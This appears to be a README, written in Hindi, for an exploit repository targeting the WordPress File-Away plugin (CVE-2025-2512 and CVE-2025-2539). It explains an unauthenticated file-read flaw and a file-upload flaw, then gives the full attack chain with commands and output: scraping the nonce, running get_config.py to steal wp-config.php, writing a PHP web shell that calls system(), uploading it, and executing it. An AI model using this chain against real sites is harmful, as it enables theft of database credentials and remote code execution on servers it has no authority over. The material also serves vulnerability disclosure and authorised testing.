
WordPress File-Away प्लगइन के लिए रिमोट कोड निष्पादन एक्सप्लॉइट स्क्रिप्ट (CVE-2025-2512 और CVE-2025-2539)
=================================================
यह रिपॉजिटरी File-Away पर पाई गई भेद्यताओं और स्क्रिप्ट्स का विवरण रखती है, जो फ़ाइल प्रबंधन के लिए उपयोग किया जाने वाला WordPress प्लगइन है।
इस प्लगइन में दो भेद्यताएँ हैं जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जा सकती हैं (File-Away 3.9.9.0.1 पर परीक्षण किया गया):
WordPress के लिए File-Away प्लगइन, संस्करण 3.9.9.0.1 तक (इस संस्करण सहित) सभी संस्करणों में बिना प्रमाणीकरण के मनमाना फ़ाइल पठन की भेद्यता से ग्रस्त है।
यह भेद्यता दो समस्याओं के कारण मौजूद है: lib/cls/class.fileaway_stats.php:file_away_stats->ajax() फ़ंक्शन में प्रमाणीकरण सत्यापन की कमी, और lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt() फ़ंक्शन में एक कमज़ोर एन्क्रिप्शन एल्गोरिथम का उपयोग।
यह बिना प्रमाणीकरण वाले हमलावरों के लिए WordPress कॉन्फ़िगरेशन फ़ाइल (wp-config.php) सहित मनमानी फ़ाइलों को पढ़ना संभव बनाता है।
WordPress के लिए File-Away प्लगइन, संस्करण 3.9.9.0.1 तक (इस संस्करण सहित) सभी संस्करणों में बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड की भेद्यता से ग्रस्त है।
यह भेद्यता दो समस्याओं के कारण मौजूद है: प्रमाणीकरण सत्यापन की कमी और खराब फ़ाइल प्रकार सत्यापन, दोनों lib/cls/class.fileaway_management.php:fileaway_management->upload() फ़ंक्शन में।
यह बिना प्रमाणीकरण वाले हमलावरों के लिए मनमानी फ़ाइलें अपलोड करना संभव बनाता है, जो कोड एक्ज़ीक्यूशन की ओर ले जा सकती हैं।
यदि लक्षित WordPress इंस्टेंस पर file-away प्लगइन स्थापित और सक्षम है, तो fileaway_stats नोंस इंडेक्स पेज पर मौजूद होना चाहिए:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
python आवश्यकताएँ स्थापित करें:
python3 -m venv venv && venv/bin/pip install httpx
WordPress इंस्टेंस की कॉन्फ़िगरेशन फ़ाइल (wp-config.php) प्राप्त करने के लिए मनमाना फ़ाइल पठन भेद्यता का उपयोग करें:
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
अपलोड करने के लिए एक PHP फ़ाइल बनाएँ:
echo '<?php system("id"); ?>' > /tmp/exec.php
सर्वर पर PHP फ़ाइल अपलोड करने के लिए का उपयोग करें:
venv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ फ़ाइल डिफ़ॉल्ट रूप से wp-content निर्देशिका में अपलोड की जाती है ⚠️
अपलोड की गई PHP फ़ाइल तक पहुँचें:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)